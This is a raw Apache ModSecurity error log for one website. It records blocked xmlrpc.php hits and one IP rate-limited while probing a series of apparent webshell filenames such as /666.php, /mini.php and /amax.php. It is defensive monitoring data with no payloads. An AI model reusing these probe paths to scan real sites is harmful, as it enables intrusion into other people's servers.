[Thu Apr 16 03:20:36.594874 2026] [:error] [pid 790:tid 808] [client 141.94.18.111:38158] [client 141.94.18.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.18.111, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_lBCHz-rbrjNOa3VKxsQAAAA0"]
[Thu Apr 16 03:23:44.595000 2026] [:error] [pid 792:tid 872] [client 43.157.95.131:46530] [client 43.157.95.131] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ad_lwN3PZ8z30TezIkZvQQAAAMM"]
[Thu Apr 16 03:25:08.694067 2026] [:error] [pid 20548:tid 20557] [client 45.87.221.196:43342] [client 45.87.221.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.87.221.196, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_mFKkpqgnqCHq6bJbbXAAAAIY"]
[Thu Apr 16 03:26:09.436510 2026] [:error] [pid 20548:tid 20559] [client 54.37.239.214:49098] [client 54.37.239.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.37.239.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_mUakpqgnqCHq6bJbbjQAAAIg"]
[Thu Apr 16 03:30:39.045478 2026] [:error] [pid 53371:tid 53459] [client 159.65.130.72:23178] [client 159.65.130.72] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.65.130.72, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_nX_QHlhdn5M13lAL8awAAAAM"]
[Thu Apr 16 03:32:50.294593 2026] [:error] [pid 53372:tid 53530] [client 52.178.68.120:42016] [client 52.178.68.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.178.68.120, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_n4rPhhzWT6ZgixWAj1QAAAEk"]
[Thu Apr 16 03:34:13.699315 2026] [:error] [pid 53379:tid 53571] [client 139.99.61.38:40562] [client 139.99.61.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.99.61.38, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_oNQcGfTk8pWJEtyBJMwAAAJY"]
[Thu Apr 16 03:36:12.406839 2026] [:error] [pid 54651:tid 54723] [client 20.91.140.49:65248] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "ad_orGr-aGmBfIUdvtU3KAAAAYc"]
[Thu Apr 16 03:36:13.046890 2026] [:error] [pid 53379:tid 53568] [client 20.91.140.49:37790] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "ad_orQcGfTk8pWJEtyBJZwAAAJM"]
[Thu Apr 16 03:36:13.758630 2026] [:error] [pid 53379:tid 53551] [client 20.91.140.49:31274] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "ad_orQcGfTk8pWJEtyBJbAAAAII"]
[Thu Apr 16 03:36:14.882245 2026] [:error] [pid 53372:tid 53531] [client 20.91.140.49:22500] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "ad_orrPhhzWT6ZgixWAkQwAAAEo"]
[Thu Apr 16 03:36:15.455427 2026] [:error] [pid 54651:tid 54740] [client 20.91.140.49:22466] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kj.php"] [unique_id "ad_or2r-aGmBfIUdvtU3KgAAAZg"]
[Thu Apr 16 03:36:16.211200 2026] [:error] [pid 54649:tid 54698] [client 20.91.140.49:33837] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kj.php"] [unique_id "ad_osIbAwKa2q4r1RocubQAAAUk"]
[Thu Apr 16 03:36:17.173452 2026] [:error] [pid 53379:tid 53548] [client 20.91.140.49:31279] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kj.php"] [unique_id "ad_osQcGfTk8pWJEtyBJbwAAAIA"]
[Thu Apr 16 03:36:17.958165 2026] [:error] [pid 54651:tid 54729] [client 20.91.140.49:34318] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kj.php"] [unique_id "ad_osWr-aGmBfIUdvtU3LgAAAY0"]
[Thu Apr 16 03:36:18.607719 2026] [:error] [pid 53810:tid 53870] [client 20.91.140.49:6517] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "ad_osvKZNZR3VueruyLSgwAAANQ"]
[Thu Apr 16 03:36:19.492158 2026] [:error] [pid 53371:tid 53481] [client 20.91.140.49:41648] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "ad_os_QHlhdn5M13lAL9uQAAABg"]
[Thu Apr 16 03:36:20.390435 2026] [:error] [pid 54601:tid 54610] [client 20.91.140.49:65196] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "ad_otHokGsMySRrOWHLSpgAAAQc"]
[Thu Apr 16 03:36:21.085582 2026] [:error] [pid 53379:tid 53568] [client 20.91.140.49:37762] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "ad_otQcGfTk8pWJEtyBJdwAAAJM"]
[Thu Apr 16 03:36:21.707124 2026] [:error] [pid 53810:tid 53869] [client 20.91.140.49:33198] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "ad_otfKZNZR3VueruyLShgAAANM"]
[Thu Apr 16 03:36:22.285859 2026] [:error] [pid 53379:tid 53558] [client 20.91.140.49:63945] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "ad_otgcGfTk8pWJEtyBJewAAAIk"]
[Thu Apr 16 03:36:22.964662 2026] [:error] [pid 53379:tid 53569] [client 20.91.140.49:62799] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "ad_otgcGfTk8pWJEtyBJfAAAAJQ"]
[Thu Apr 16 03:36:23.704666 2026] [:error] [pid 53372:tid 53527] [client 20.91.140.49:62111] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "ad_ot7PhhzWT6ZgixWAkTAAAAEY"]
[Thu Apr 16 03:36:24.459164 2026] [:error] [pid 54651:tid 54719] [client 20.91.140.49:40635] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "ad_ouGr-aGmBfIUdvtU3LwAAAYM"]
[Thu Apr 16 03:36:25.150845 2026] [:error] [pid 53810:tid 53857] [client 20.91.140.49:40612] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "ad_oufKZNZR3VueruyLSiwAAAMc"]
[Thu Apr 16 03:36:25.969094 2026] [:error] [pid 53810:tid 53856] [client 20.91.140.49:41615] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "ad_oufKZNZR3VueruyLSjgAAAMY"]
[Thu Apr 16 03:36:26.876367 2026] [:error] [pid 53810:tid 53851] [client 20.91.140.49:65194] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "ad_ouvKZNZR3VueruyLSkQAAAME"]
[Thu Apr 16 03:36:27.559350 2026] [:error] [pid 53810:tid 53866] [client 20.91.140.49:60215] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "ad_ou_KZNZR3VueruyLSkwAAANA"]
[Thu Apr 16 03:36:28.262314 2026] [:error] [pid 54651:tid 54718] [client 20.91.140.49:57262] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "ad_ovGr-aGmBfIUdvtU3MQAAAYI"]
[Thu Apr 16 03:36:29.385755 2026] [:error] [pid 53379:tid 53560] [client 20.91.140.49:61294] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "ad_ovQcGfTk8pWJEtyBJgwAAAIs"]
[Thu Apr 16 03:36:30.300081 2026] [:error] [pid 54601:tid 54617] [client 20.91.140.49:57220] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "ad_ovnokGsMySRrOWHLSrwAAAQ4"]
[Thu Apr 16 03:36:31.115677 2026] [:error] [pid 54601:tid 54625] [client 20.91.140.49:60189] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "ad_ov3okGsMySRrOWHLSsQAAARY"]
[Thu Apr 16 03:36:32.015908 2026] [:error] [pid 54601:tid 54616] [client 20.91.140.49:62301] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "ad_owHokGsMySRrOWHLStgAAAQ0"]
[Thu Apr 16 03:36:32.850889 2026] [:error] [pid 53372:tid 53534] [client 20.91.140.49:29524] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "ad_owLPhhzWT6ZgixWAkTwAAAE0"]
[Thu Apr 16 03:36:34.079164 2026] [:error] [pid 53810:tid 53866] [client 20.91.140.49:60181] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "ad_owvKZNZR3VueruyLSmAAAANA"]
[Thu Apr 16 03:36:34.970594 2026] [:error] [pid 53372:tid 53531] [client 20.91.140.49:62112] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tool.php"] [unique_id "ad_owrPhhzWT6ZgixWAkUgAAAEo"]
[Thu Apr 16 03:36:35.884324 2026] [:error] [pid 53372:tid 53528] [client 20.91.140.49:40695] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tool.php"] [unique_id "ad_ow7PhhzWT6ZgixWAkVQAAAEc"]
[Thu Apr 16 03:36:36.745432 2026] [:error] [pid 54649:tid 54712] [client 20.91.140.49:25234] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tool.php"] [unique_id "ad_oxIbAwKa2q4r1RocudQAAAVc"]
[Thu Apr 16 03:36:37.738631 2026] [:error] [pid 54601:tid 54622] [client 20.91.140.49:43158] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tool.php"] [unique_id "ad_oxXokGsMySRrOWHLSugAAARM"]
[Thu Apr 16 03:36:39.212567 2026] [:error] [pid 53810:tid 53870] [client 20.91.140.49:50409] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blogs.php"] [unique_id "ad_ox_KZNZR3VueruyLSmQAAANQ"]
[Thu Apr 16 03:36:40.958500 2026] [:error] [pid 54601:tid 54608] [client 20.91.140.49:34777] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blogs.php"] [unique_id "ad_oyHokGsMySRrOWHLSwAAAAQU"]
[Thu Apr 16 03:36:41.707560 2026] [:error] [pid 53810:tid 53860] [client 20.91.140.49:7063] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blogs.php"] [unique_id "ad_oyfKZNZR3VueruyLSnQAAAMo"]
[Thu Apr 16 03:36:42.820956 2026] [:error] [pid 54651:tid 54724] [client 20.91.140.49:25964] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blogs.php"] [unique_id "ad_oymr-aGmBfIUdvtU3OAAAAYg"]
[Thu Apr 16 03:36:43.738702 2026] [:error] [pid 54651:tid 54728] [client 20.91.140.49:25964] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bgymj.php"] [unique_id "ad_oy2r-aGmBfIUdvtU3OwAAAYw"]
[Thu Apr 16 03:36:44.981202 2026] [:error] [pid 53371:tid 53459] [client 20.91.140.49:30684] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bgymj.php"] [unique_id "ad_ozPQHlhdn5M13lAL9yQAAAAM"]
[Thu Apr 16 03:36:45.798403 2026] [:error] [pid 53371:tid 53466] [client 20.91.140.49:30689] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bgymj.php"] [unique_id "ad_ozfQHlhdn5M13lAL9ygAAAAk"]
[Thu Apr 16 03:36:46.477134 2026] [:error] [pid 53371:tid 53457] [client 20.91.140.49:6977] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bgymj.php"] [unique_id "ad_ozvQHlhdn5M13lAL9zAAAAAE"]
[Thu Apr 16 03:36:48.271182 2026] [:error] [pid 53371:tid 53462] [client 20.91.140.49:63153] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mini.php"] [unique_id "ad_o0PQHlhdn5M13lAL9zgAAAAU"]
[Thu Apr 16 03:36:49.917661 2026] [:error] [pid 53810:tid 53856] [client 20.91.140.49:62434] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mini.php"] [unique_id "ad_o0fKZNZR3VueruyLSoAAAAMY"]
[Thu Apr 16 03:36:51.031748 2026] [:error] [pid 54651:tid 54739] [client 20.91.140.49:41725] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mini.php"] [unique_id "ad_o02r-aGmBfIUdvtU3UQAAAZc"]
[Thu Apr 16 03:36:51.682207 2026] [:error] [pid 54601:tid 54619] [client 20.91.140.49:41723] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mini.php"] [unique_id "ad_o03okGsMySRrOWHLSygAAARA"]
[Thu Apr 16 03:36:52.587336 2026] [:error] [pid 54651:tid 54740] [client 20.91.140.49:41688] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amax.php"] [unique_id "ad_o1Gr-aGmBfIUdvtU3VQAAAZg"]
[Thu Apr 16 03:36:53.380705 2026] [:error] [pid 54651:tid 54727] [client 20.91.140.49:33248] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amax.php"] [unique_id "ad_o1Wr-aGmBfIUdvtU3WAAAAYs"]
[Thu Apr 16 03:36:54.269343 2026] [:error] [pid 54651:tid 54726] [client 20.91.140.49:57173] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amax.php"] [unique_id "ad_o1mr-aGmBfIUdvtU3XwAAAYo"]
[Thu Apr 16 03:36:54.957433 2026] [:error] [pid 54601:tid 54604] [client 20.91.140.49:60881] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amax.php"] [unique_id "ad_o1nokGsMySRrOWHLSzQAAAQE"]
[Thu Apr 16 03:36:55.819719 2026] [:error] [pid 54601:tid 54613] [client 20.91.140.49:60890] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mh.php"] [unique_id "ad_o13okGsMySRrOWHLS0gAAAQo"]
